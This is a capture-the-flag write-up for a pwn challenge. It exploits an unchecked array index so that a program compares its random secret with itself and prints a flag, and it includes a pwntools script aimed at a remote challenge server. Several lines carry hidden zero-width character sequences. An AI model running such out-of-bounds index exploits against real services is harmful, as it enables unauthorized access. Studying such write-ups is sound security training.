← Back to Writeups
CUSTOMEasypwn

pwn7 heap_indexes

XESXOR9/2/20264 min read
#pwn#custom#easy#heap_layout_recovery#oob_index_pointer_read#self_compare_memcmp_bypass#linux

pwn7 heap_indexes

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: heap_layout_recovery, oob_index_pointer_read, self_compare_memcmp_bypass

Summary

Task: NON-PIE pwn where an unbounded scanf index drives storage[idx], an OOB pointer read, before memcmp(chosen, secret, 0x32) gates a /flag.txt print. Solution: point the OOB index at the heap chunk that stashes the secret pointer so chosen == secret_ptr, making memcmp(secret, secret) trivially equal — no knowledge of the random secret needed (idx = 52).

pwn7 heap_indexes — pwn_spbctf

Description

pwn7 heap_indexes — store some secrets, then pick one to compare with mine.

A small NON-PIE x86-64 binary. After storing user "secrets", it asks for an index to compare against the program's own random secret. If they match, it prints /flag.txt. The interesting part is an unbounded index that turns storage[idx] into an out-of-bounds pointer read.

Analysis

Protections: NON-PIE, NX, Partial RELRO, no stack canary — none of which matter, because the bug is pure application logic, not memory-corruption control flow. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Control flow of main after store_secret():

  • scanf("%d", &idx) reads the comparison index with no bounds check. Only the storage count is validated (1..0x20); idx is completely free.
  • chosen = storage[idx] compiles to chosen = *(storage + 8*idx) — an OOB pointer read at an attacker-chosen offset from the storage array.
  • memcmp(chosen, secret, 0x32) == 0 → opens /flag.txt and puts its content.

The secret itself is malloc(0x32) filled with 0x20 random bytes from /dev/urandom (in read_secret), so brute-forcing or guessing it is infeasible. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The key observation: store_secret stashes the secret pointer into a small malloc(8) chunk p. That chunk lives on the heap at a deterministic offset relative to the storage array. If we make the OOB read land on p, then chosen == secret_ptr, and memcmp(secret, secret, 0x32) == 0 is trivially true — we win without ever knowing the secret.

Solution

The OOB index gives chosen = *(A + 8*idx) where A is the storage array base. We want chosen to equal the secret pointer, i.e. to read the contents of chunk p (which holds secret_ptr). So we need 8*idx == offset(p) - offset(A). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Heap layout (recovered with an LD_PRELOAD malloc hook in a ubuntu:22.04 --platform linux/amd64 container, since gdb was unusable under qemu emulation), with count = 1:

storage array : A          (malloc 0x8)
slot0         : A+0x20     (malloc 0x20)
buf 0x140     : A+0x50
p (malloc 8)  : A+0x1a0    <- holds secret_ptr
secret 0x32   : A+0x1c0

So 8*idx = 0x1a0 → idx = 52. Reading storage[52] dereferences *p, yielding secret_ptr. Then memcmp(secret_ptr, secret, 0x32) compares the secret with itself → 0 → WIN. These relative heap offsets are constant, so the exploit is fully deterministic and worked on the first remote connection. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Inputs:

count     = 1
secret[0] = "AAAAAAAA"   (content irrelevant)
idx       = 52

Exploit

python
#!/usr/bin/env python3
# pwn7 heap_indexes - SPB CTF
#
# Bug: after store_secret(), main does scanf("%d", &idx) with NO bounds check,
# then chosen = storage[idx] (OOB pointer read), then memcmp(chosen, secret, 0x32).
# If memcmp==0 -> reads /flag.txt and prints it.
#
# store_secret stashes the secret pointer into a malloc(8) chunk `p`.
# With count=1, heap layout (relative offsets are deterministic):
#   storage array @ A          (malloc 8)
#   slot0         @ A+0x20     (malloc 0x20)
#   buf0x140      @ A+0x50
#   p (malloc 8)  @ A+0x1a0    <- holds secret_ptr
#   secret(0x32)  @ A+0x1c0
# storage[idx] = *(A + 8*idx). To make chosen == secret_ptr, read *p:
#   8*idx = (A+0x1a0) - A = 0x1a0 => idx = 52
# Then chosen == secret => memcmp(secret,secret,0x32)==0 => WIN.
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

from pwn import *

context.log_level = 'info'

HOST, PORT = "109.233.56.90", 11705

def solve(io):
    io.sendlineafter(b"secrets (32 max): ", b"1")     # count = 1
    io.sendlineafter(b"secret [0]: ", b"A" * 8)       # fill slot 0 (content irrelevant)
    io.sendlineafter(b"compare with mine: ", b"52")   # OOB idx -> chosen == secret ptr
    data = io.recvall(timeout=5)
    return data

if __name__ == "__main__":
    io = remote(HOST, PORT)
    out = solve(io)
    print(out.decode(errors="replace"))
    m = re.search(rb"spbctf\{[^}]*\}", out, re.I)
    if m:
        log.success("FLAG: " + m.group().decode())
    else:
        log.warning("No flag pattern found; raw output above")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍